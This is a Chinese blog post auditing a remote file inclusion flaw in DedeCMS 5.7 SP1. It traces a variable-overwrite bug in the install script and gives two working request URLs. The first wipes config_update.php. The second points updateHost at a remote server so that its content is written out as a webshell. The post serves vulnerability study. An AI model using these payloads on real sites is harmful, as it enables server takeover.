dedecmsv5.7sp1远程文件包含漏洞审计
dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程。
漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖以至于最后引起远程文件包含漏洞。
0x01 变量覆盖
看代码的18-39行
- $insLockfile = dirname(__FILE__).'/install_lock.txt';
- $moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';
- define('DEDEINC',dirname(__FILE__).'/../include');
- define('DEDEDATA',dirname(__FILE__).'/../data');
- define('DEDEROOT',preg_replace("#[\\\\\/]install#", '', dirname(__FILE__)));
- header("Content-Type: text/html; charset={$s_lang}");
- require_once(DEDEROOT.'/install/install.inc.php');
- require_once(DEDEINC.'/zip.class.php');
- foreach(Array('_GET','_POST','_COOKIE') as $_request)
- {
- foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
- }
- require_once(DEDEINC.'/common.func.php');
- if(file_exists($insLockfile))
- {
- exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
- }
红色标记的代码段就是变量覆盖产生的地方,大致意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入 ?str=hello,则$_k的值就是str,$_v的值就是hello 所以 ${$_K}就是$str,这里很明显的变量覆盖了。后面的RunMagicQuotes函数在另一个文件中定义的,在这里理解为返回参数内容就好了。
0x02 结合变量覆盖构造远程文件包含
只有变量覆盖漏洞暂时还不够,我们接着往下看。跳到代码的最后几行(373-387)
- else if($step==11)
- {
- require_once('../data/admin/config_update.php');
- $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
- $sql_content = file_get_contents($rmurl);
- $fp = fopen($install_demo_name,'w');
- if(fwrite($fp,$sql_content))
- echo ' <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
- else
- echo ' <font color="red">[×]</font> 远程获取失败';
- unset($sql_content);
- fclose($fp);
- exit();
- }
这段代码块引入了 /data/admin/config_update.php文件,文件内容为
- <?php
- /**
- * 更新服务器,如果有变动,请到 http://bbs.dedecms.com 查询
- *
- * @version $Id: config_update.php 1 11:36 2011-2-21 tianya $
- * @package DedeCMS.Administrator
- * @copyright Copyright (c) 2007 - 2010, DesDev, Inc.
- * @license http://help.dedecms.com/usersguide/license.html
- * @link http://www.dedecms.com
- */
- //更新服务器,如果有变动,请到 http://bbs.dedecms.com 查询
- $updateHost = 'http://updatenew.dedecms.com/base-v57/';
- $linkHost = 'http://flink.dedecms.com/server_url.php';
这里定义了变量updateHost,继续看373-387行代码,$updateHost与"dedecms/demodata.{$s_lang}.txt"拼接为字符串,并利用file_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name = 'dedev57demo.txt'文件中,因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。由于$updateHost变量是引入进来的所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。
0x03 漏洞复现
访问/install/index.php(index.php.bak),查看文件是否存在。
存在。构造payload再次访问,此时清空config_update.php文件。
/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../data/admin/config_update.php
可以看到文件已经被清空,这时我们就可以利用变量覆盖来远程包含我们的文件了。
/install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../shell.php&updateHost=http://127.0.0.1/
至此漏洞复现成功。
知其然知其所以然。
dedecmsv5.7sp1远程文件包含漏洞审计的更多相关文章
- DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553)
DedeCMS 5.7 sp1远程文件包含漏洞(CVE-2015-4553) 一.漏洞描述 该漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当 ...
- 18.phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613) phpMyAdmin是一套开源的.基于Web的MySQL数据库管理工具.其index.php中存在一处文件包含逻辑, ...
- CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现
CVE-2018-12613-phpmyadmin4.8.1远程文件包含漏洞复现 参考文章1 参考文章2 By:Mirror王宇阳 漏洞原理 攻击者利用发现在服务器上包含(查看和潜在执行)文件的漏洞. ...
- phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
漏洞详情 范围 phpMyAdmin 4.8.0和4.8.1 原理 首先在index.php 50-63行代码 $target_blacklist = array ( 'import.php', 'e ...
- 记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- Vulhub-Phpmyadmin 4.8.1远程文件包含漏洞
前言:Phpmyadmin是一个用PHP编写的免费软件工具,旨在处理Web上的MySQL管理. 该漏洞在index.php中,导致文件包含漏洞 漏洞环境框架搭建: cd vulhub-master/p ...
- php本地及远程文件包含漏洞
在php程序中包含有file inclusion的时候,php要开启一下两个功能: allow_url_fopen onallow_url_include on 但是开启这两个功能之后伴随的是url漏 ...
- PHP文件包含漏洞攻防实战(allow_url_fopen、open_basedir)
摘要 PHP是一种非常流行的Web开发语言,互联网上的许多Web应用都是利用PHP开发的.而在利用PHP开发的Web应用中,PHP文件包含漏洞是一种常见的漏洞.利用PHP文件包含漏洞入侵网站也是主流的 ...
- PHP文件包含漏洞剖析
一. 什么才是”远程文件包含漏洞”?回答是:服务器通过php的特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到邪恶的目的. ...
随机推荐
- Numpy数组基本操作(数组索引,数组切片以及数组的形状,数组的拼接与分裂)
一:数组的属性 每个数组都有它的属性,可分为:ndim(数组的维度),shape(数组每个维度的大小),size(数组的总大小),dtype(数组数据的类型) 二:数组索引 和python列表一样,N ...
- struts中的一些问题
QueryRunner()方法内要传数据源
- 关于对MyBatis.net框架的学习笔记( MyBatis.net是一款灵活性极大,sql由开发者自行在xml中编写, 轻量的ORM映射框架). 同时避免了sql硬编码到代码中不易维护的问题...
对于为什么要用ORM,为什么又要选择MyBatis.net,这个问题希望读者自行查找资料.这里直接贴出相关的调试笔记. 步骤1)下载与引用. http://code.google.com/p/myba ...
- Ubuntu安装Windows官方版QQ和微信(使用deepin wine)
- AD18使用原理图优先选项( Preference)调整原理图纸张大小失效问题解决
1.创建新的原理图纸后,在当前点击更改并不会生效 2.想要生效需要去原理图纸的文档详细属性中更新即可生效!以下两种方式可以打开文档选项按钮. a.O->D 打开文档选项 b.右下角选择Prope ...
- Android开发利用shareSDK等第三方分享,弹出的是英文名称。例如Genymotion模拟器
作者:程序员小冰,CSDN博客:http://blog.csdn.net/qq_21376985 Android开发利用shareSDK等第三方分享,弹出的是英文名称.例如Genymotion模拟器就 ...
- python小白入门基础(四:浮点型和布尔型)
# Number (int float bool complex)# (1) float 浮点型 也就是小数# 表达方式一floatvar = 0.98print(floatvar)print(typ ...
- SpringCloud系列之Nacos+Dubbo应用篇
目录 前言 项目版本 项目说明 项目结构 集成Dubbo2.6.x 支付模块 用户模块 集成Dubbo2.7.x 支付模块 用户模块 测试验证 参考资料 系列文章 前言 本文在前篇文章<Spri ...
- 在centos6.5下搭建lnmp
1.查看环境: [root@localhost /]# cat /etc/redhat-release CentOS release 6.5 (Final) 2.关掉防火墙(需要到国外地址下载软件 ...
- Linux服务器关联Git,通过执行更新脚本实现代码同步
1.在Linux服务器安装Git yum install git -y tips: 卸载Git : yum remove git 2.在Linux生成ssh key 1)创建用户 git ...